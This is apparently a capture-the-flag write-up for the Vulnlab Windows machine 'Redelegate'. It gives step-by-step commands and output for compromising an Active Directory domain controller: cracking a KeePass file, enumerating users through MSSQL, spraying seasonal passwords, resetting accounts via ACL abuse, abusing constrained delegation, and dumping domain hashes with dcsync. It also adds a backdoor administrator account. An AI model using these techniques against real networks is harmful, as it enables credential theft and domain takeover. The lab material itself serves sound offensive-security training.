vulnlab redelegate
Redelegate is a hard-rated Windows machine by Geiseric on Vulnlab. The core concepts here are password spraying, enumerating domain users via MSSQL and diving deeper into kerberos delegation.
Enumeration
Portscan:
... PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd 53/tcp open domain? 80/tcp open http Microsoft IIS httpd 10.0 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-11-23 11:19:37Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: redelegate.vl0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 1433/tcp open ms-sql-s Microsoft SQL Server 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: redelegate.vl0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 3389/tcp open ms-wbt-server Microsoft Terminal Services 5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
We are dealing with a domain controller, unusual services are FTP (21) and MSSQL (1433). Let’s check FTP first:
└─$ ftp redelegate.vl Connected to dc.redelegate.vl. 220 Microsoft FTP Service Name (redelegate.vl:puck): anonymous 331 Anonymous access allowed, send identity (e-mail name) as password. Password: 230 User logged in. Remote system type is Windows_NT. ftp> ls 229 Entering Extended Passive Mode (|||55855|) 125 Data connection already open; Transfer starting. 10-20-24 12:11AM 434 CyberAudit.txt 10-20-24 04:14AM 2622 Shared.kdbx 10-20-24 12:26AM 580 TrainingAgenda.txt 226 Transfer complete. ftp> binary 200 Type set to I. ftp> mget * |
Note that binary mode was used to download the files. The file CyberAudit.txt
contains
└─$ cat CyberAudit.txt OCTOBER 2024 AUDIT FINDINGS [!] CyberSecurity Audit findings: 1) Weak User Passwords 2) Excessive Privilege assigned to users 3) Unused Active Directory objects 4) Dangerous Active Directory ACLs [*] Remediation steps: 1) Prompt users to change their passwords: DONE 2) Check privileges for all users and remove high privileges: DONE 3) Remove unused objects in the domain: IN PROGRESS 4) Recheck ACLs: IN PROGRESS
The file TrainingAgenda.txt
shows
└─$ cat TrainingAgenda.txt EMPLOYEE CYBER AWARENESS TRAINING AGENDA (OCTOBER 2024) Friday 4th October | 14.30 - 16.30 - 53 attendees "Don't take the bait" - How to better understand phishing emails and what to do when you see one Friday 11th October | 15.30 - 17.30 - 61 attendees "Social Media and their dangers" - What happens to what you post online? Friday 18th October | 11.30 - 13.30 - 7 attendees "Weak Passwords" - Why "SeasonYear!" is not a good password Friday 25th October | 9.30 - 12.30 - 29 attendees "What now?" - Consequences of a cyber attack and how to mitigate them
we could try, generate a simple word list with something like “SeasonYear!”.
Spring2024!
Summer2024!
Fall2024!
Autumn2024!
Winter2024!
Since we don’t have any domain users yet, we can only try them against the KeePass file Shared.kdbx
, which was also on the share:
└─$ keepass2john Shared.kdbx | tee hashes
Shared:$keepass$*2*600000*0*ce7395f413946b0cd279501e510cf8a988f39baca623dd86beaee651025662e6*e4f9d51a5df3e5f9ca1019cd57e10d60f85f48228da3f3b4cf1ffee940e20e01*18c45dbbf7d365a13d6714059937ebad*a59af7b75908d7bdf68b6fd929d315ae6bfe77262e53c209869a236da830495f*806f9dd2081c364e66a114ce3adeba60b282fc5e5ee6f324114d38de9b4502ca
.
└─$ john hashes -w=passwords.txt
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 600000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 5 candidates left, minimum 8 needed for performance.
Fall2024! (Shared)
We found the password and can now open the KeePass file, for example with keepassxc
. One of the credentials inside is for MSSQL which we saw running on the machine, so we try to connect:
└─$ impacket-mssqlclient 'sqlguest:'zDPBpaF4FywlqIv11vii'@redelegate.vl' Impacket v0.12.0.dev1 - Copyright 2023 Fortra [*] Encryption required, switching to TLS [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [*] INFO(DC\SQLEXPRESS): Line 1: Changed database context to 'master'. [*] INFO(DC\SQLEXPRESS): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server (150 7208) [!] Press help for extra shell commands SQL (SQLGuest guest@master)>
.
This works but we just have guest access. One thing we could try is to use xp_dirtree
to get the hash of the service account running the service, but in this case it won’t help. Instead we are going to enumerate domain users from here (even though the sqlguest account is not a domain user).
First, we get the domain name:
SQL (SQLGuest guest@master)> SELECT DEFAULT_DOMAIN();
----------
REDELEGATE
SQL (SQLGuest guest@master)>
Next we get the Domain SID by querying one of the default groups for it (the first 48 bytes will be the domain SID):
SQL (SQLGuest guest@master)> SELECT SUSER_SID('REDELEGATE\Domain Admins')
-----------------------------------------------------------
b'010500000000000515000000a185deefb22433798d8e847a00020000'
We can convert this to a readable string with PowerShell:
$BinarySID = "010500000000000515000000a185deefb22433798d8e847a00020000" $SIDBytes = [byte[]]::new($BinarySID.Length / 2) for ($i = 0; $i -lt $BinarySID.Length; $i += 2) { $SIDBytes[$i / 2] = [convert]::ToByte($BinarySID.Substring($i, 2), 16) } $SID = New-Object System.Security.Principal.SecurityIdentifier($SIDBytes, 0) $SID.Value S-1-5-21-4024337825-2033394866-2055507597-512
We can now enumerate users by appending something different on the part that identifies the user (here 512). For example with a quick bash loop:
└─$ cat enum.sh #!/bin/bash USERNAME="sqlguest" PASSWORD="zDPBpaF4FywlqIv11vii" SERVER="redelegate.vl" SID_BASE="S-1-5-21-4024337825-2033394866-2055507597" for SID in {1100..1200}; do QUERY="SELECT SUSER_SNAME(SID_BINARY(N'$SID_BASE-$SID'))" echo "$QUERY" > query.sql impacket-mssqlclient "$USERNAME:$PASSWORD@$SERVER" -file query.sql | grep -a REDELEGATE rm query.sql done
Running it gives the domain users we want:
└─$ bash enum.sh
REDELEGATE\FS01$
REDELEGATE\Christine.Flanders
REDELEGATE\Marie.Curie
REDELEGATE\Helen.Frost
REDELEGATE\Michael.Pontiac
REDELEGATE\Mallory.Roberts
REDELEGATE\James.Dinkleberg
REDELEGATE\Helpdesk
REDELEGATE\IT
REDELEGATE\Finance
REDELEGATE\DnsAdmins
REDELEGATE\DnsUpdateProxy
REDELEGATE\Ryan.Cooper
REDELEGATE\sql_svc
Getting a Foothold
Now that we have a list of users, we can spray the password scheme that we learned about earlier against those users:
└─$ nxc smb redelegate.vl -u users.txt -p passwords.txt
SMB 10.10.87.216 445 DC [-] REDELEGATE\Mallory.Roberts:Summer2024! STATUS_ACCOUNT_RESTRICTION
SMB 10.10.87.216 445 DC [-] REDELEGATE\Christine.Flanders:Fall2024! STATUS_LOGON_FAILURE
SMB 10.10.87.216 445 DC [+] REDELEGATE\Marie.Curie:Fall2024!
This leads to our first domain user credentials. At this point we can do a lot more enumeration like for example checking shares authenticated and gathering bloodhound data. First we gather bloodhound data:
$ nxc ldap redelegate.vl -u marie.curie -p 'Fall2024!' --bloodhound -c all --dns-server 10.10.87.216
SMB 10.10.87.216 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:redelegate.vl) (signing:True) (SMBv1:False)
LDAP 10.10.87.216 389 DC [+] redelegate.vl\marie.curie:Fall2024!
LDAP 10.10.87.216 389 DC Resolved collection methods: container, psremote, session, objectprops, acl, group, localadmin, dcom, rdp, trusts
LDAP 10.10.87.216 389 DC Done in 00M 06S
LDAP 10.10.87.216 389 DC Compressing output into /home/puck/.nxc/logs/DC_10.10.87.216_2024-11-27_105621_bloodhound.zip
┌──(puck㉿kali)-[~/vulnlab/redelegate]
└─$ cp /home/puck/.nxc/logs/DC_10.10.87.216_2024-11-27_105621_bloodhound.zip .
After loading it into bloodhound, we notice that there is a path to high value targets from our user:
To change the password of that user, we can use the following command:
└─$ impacket-changepasswd redelegate/helen.frost@redelegate.vl -newpass 'Start123!' -altuser redelegate/marie.curie -reset -altpass 'Fall2024!' -debug
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[+] Impacket Library Installation Path: /usr/lib/python3/dist-packages/impacket
[*] Setting the password of redelegate\helen.frost as redelegate\marie.curie
[*] Connecting to DCE/RPC as redelegate\marie.curie
[+] Successfully bound to SAMR
[+] Sending SAMR call hSamrSetNTInternal1
[*] Password was changed successfully.
[!] User no longer has valid AES keys for Kerberos, until they change their password again.
This gives us a shell on the domain controller and our first flag.
└─$ evil-winrm -i redelegate.vl -u "helen.frost" -p 'Start123!'
Privilege Escalation
First we check our privileges and notice that this user has the SeEnableDelegationPrivilege
, which means that the user can enable delegation privileges on the domain.
*Evil-WinRM* PS C:\Users\Helen.Frost\desktop> whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ============================================================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeEnableDelegationPrivilege Enable computer and user accounts to be trusted for delegation Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled *Evil-WinRM* PS C:\Users\Helen.Frost\desktop>
This is a dangerous privilege that allows to escalate privileges in multiple ways. Let’s take this opportunity to remember the 3 types of delegation:
Unconstrained Delegation: A machine configured with Unconstrained Delegation will store any TGT of users connecting to it in memory. This allows the machine to then impersonate that user. To configure this, the userAccountControl attribute of the machine gets modified to include the TRUSTED_FOR_DELEGATION
flag (which requires the SeEnableDelegationPrivilege
domain privilege).
Constrained Delegation: A machine configured with Constrained Delegation will be able to impersonate any user against another machine. To configure this, the userAccountControl attribute of the object gets modified to include the TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION
flag (which requires the SeEnableDelegationPrivilege
privilege) and the msDS-AllowedToDelegateTo
attribute gets set to the target spn that we want to authenticate as any user against.
Resource-Based Constrained Delegation: A machine configured with Resource-Based Constrained Delegation will trust another user to impersonate any user on itself. To configure this the AllowedToActOnBehalfOfOtherIdentity
property must be set to the SID of the object that is allowed to control it. This does not require SeEnableDelegationPrivilege
and the machine can modify it on itself.
So in other words, RBCD is a privilege given by a machine account on itself and does not require any special privileges, while both Unconstrained- and Constrained Delegation do require the SeEnableDelegationPrivilege
because those affect other resources in the domain.
With this information, we can rule out RBCD and focus on the other delegations. As seen on the predecessor machine “Delegate”, we could add a machine account, configure it with unconstrained delegation and then coerce the domain controller to authenticate to that machine. This would require the ability to add machine accounts and also to add DNS entries (for the coercion – kerberos works with names instead of ip addresses). Both is not possible in this case, since the environment has been hardened.
This leaves us with only Constrained Delegation which does not require a new DNS entry. It does however also require control of a machine account. Luckily in this case, the user helen.frost
has GenericAll
privileges on a computer object called FS01$
. This allows us to reset the password of that computer object (alternatively Shadow Credentials could be used, if there would be a configured CA):
└─$ impacket-changepasswd redelegate/'fs01$'@redelegate.vl -newpass 'Start123!' -altuser redelegate/helen.frost -reset -altpass 'Start123!' -debug
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[+] Impacket Library Installation Path: /usr/lib/python3/dist-packages/impacket
[*] Setting the password of redelegate\fs01$ as redelegate\helen.frost
[*] Connecting to DCE/RPC as redelegate\helen.frost
[+] Successfully bound to SAMR
[+] Sending SAMR call hSamrSetNTInternal1
[*] Password was changed successfully.
[!] User no longer has valid AES keys for Kerberos, until they change their password again.
Additionally, we need to use our SeEnableDelegationPrivilege
to make the necessary changes:
*Evil-WinRM* PS C:\Users\Helen.Frost\desktop> Set-ADObject -Identity "CN=FS01,CN=COMPUTERS,DC=REDELEGATE,DC=VL" -Add @{"msDS-AllowedToDelegateTo"="ldap/dc.redelegate.vl"} *Evil-WinRM* PS C:\Users\Helen.Frost\desktop> Set-ADAccountControl -Identity "FS01$" -TrustedToAuthForDelegation $True
As described earlier we set msDS-AllowedToDelegateTo
to the resource we want to control (ldap on the domain controller in order to perform a dcsync) and the TrustedToAuthForDelegation
flag.
Now we can use the credentials of the fs01 machine account to request a service ticket as any user (here the dc itself) to the dc:
└─$ impacket-getST redelegate.vl/fs01\$:'Start123!' -spn ldap/dc.redelegate.vl -impersonate dc
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating dc
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in dc@ldap_dc.redelegate.vl@REDELEGATE.VL.ccache
Since this is a ticket for ldap, it allows us to perform dcsync:
└─$ export KRB5CCNAME='dc@ldap_dc.redelegate.vl@REDELEGATE.VL.ccache' ┌──(puck㉿kali)-[~/vulnlab/redelegate] └─$ klist Ticket cache: FILE:dc@ldap_dc.redelegate.vl@REDELEGATE.VL.ccache Default principal: dc@redelegate.vl Valid starting Expires Service principal 11/27/2024 11:23:35 11/27/2024 21:23:35 ldap/dc.redelegate.vl@REDELEGATE.VL renew until 11/28/2024 11:23:36
.
─$ impacket-secretsdump -k -no-pass dc.redelegate.vl -dc-ip 10.10.87.216 Impacket v0.12.0.dev1 - Copyright 2023 Fortra [-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:a0<redacted>99::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
With the admin hash we can now connect to the DC and read the final flag. If you want to try out the machine, join Vulnlab 🙂
Examining the box Defender was not working
PS C:\Users\Administrator\desktop> net user puck Start123! /add
The command completed successfully.
PS C:\Users\Administrator\desktop> net localgroup “administrators” puck /add
The command completed successfully.
xfreerdp /u:puck /p:’Start123!’ /w:1566 /h:968 /v:dc.redelegate.vl:3389
.
Resources
- https://www.netspi.com/blog/technical-blog/network-pentesting/hacking-sql-server-procedures-part-4-enumerating-domain-accounts/
- https://blog.netwrix.com/2021/11/30/what-is-kerberos-delegation-an-overview-of-kerberos-delegation/
- Trust computer and user accounts for delegation – Windows 10 | Microsoft Learn